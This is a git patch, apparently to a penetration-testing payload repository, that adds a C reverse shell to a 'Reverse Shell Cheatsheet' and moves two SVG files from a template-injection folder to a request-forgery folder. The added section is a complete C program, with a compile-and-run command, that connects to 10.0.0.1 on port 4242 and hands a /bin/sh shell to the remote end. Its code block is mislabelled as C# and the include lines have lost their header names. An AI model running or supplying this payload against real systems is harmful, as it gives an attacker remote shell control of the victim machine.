From 89f906f7a8e8dd6311abaebfc19910cf0814acf3 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Tue, 21 Apr 2020 11:17:39 +0200 Subject: [PATCH] Fix issue - C reverse shell --- .../Reverse Shell Cheatsheet.md | 36 +++++++++++++++++++ .../Files/SSRF_expect.svg | 0 .../Files/SSRF_url.svg | 0 3 files changed, 36 insertions(+) rename {Server Side Template Injection => Server Side Request Forgery}/Files/SSRF_expect.svg (100%) rename {Server Side Template Injection => Server Side Request Forgery}/Files/SSRF_url.svg (100%) diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index 67d626fb..63346eb1 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -25,6 +25,7 @@ * [NodeJS](#nodejs) * [Groovy](#groovy) * [Groovy Alternative 1](#groovy-alternative-1) + * [C](#c) * [Meterpreter Shell](#meterpreter-shell) * [Windows Staged reverse TCP](#windows-staged-reverse-tcp) * [Windows Stageless reverse TCP](#windows-stageless-reverse-tcp) @@ -294,6 +295,41 @@ Thread.start { } ``` +### C + +Compile with `gcc /tmp/shell.c --output csh && csh` + +```csharp +#include +#include +#include +#include +#include +#include +#include + +int main(void){ + int port = 4242; + struct sockaddr_in revsockaddr; + + int sockt = socket(AF_INET, SOCK_STREAM, 0); + revsockaddr.sin_family = AF_INET; + revsockaddr.sin_port = htons(port); + revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1"); + + connect(sockt, (struct sockaddr *) &revsockaddr, + sizeof(revsockaddr)); + dup2(sockt, 0); + dup2(sockt, 1); + dup2(sockt, 2); + + char * const argv[] = {"/bin/sh", NULL}; + execve("/bin/sh", argv, NULL); + + return 0; +} +``` + ## Meterpreter Shell ### Windows Staged reverse TCP diff --git a/Server Side Template Injection/Files/SSRF_expect.svg b/Server Side Request Forgery/Files/SSRF_expect.svg similarity index 100% rename from Server Side Template Injection/Files/SSRF_expect.svg rename to Server Side Request Forgery/Files/SSRF_expect.svg diff --git a/Server Side Template Injection/Files/SSRF_url.svg b/Server Side Request Forgery/Files/SSRF_url.svg similarity index 100% rename from Server Side Template Injection/Files/SSRF_url.svg rename to Server Side Request Forgery/Files/SSRF_url.svg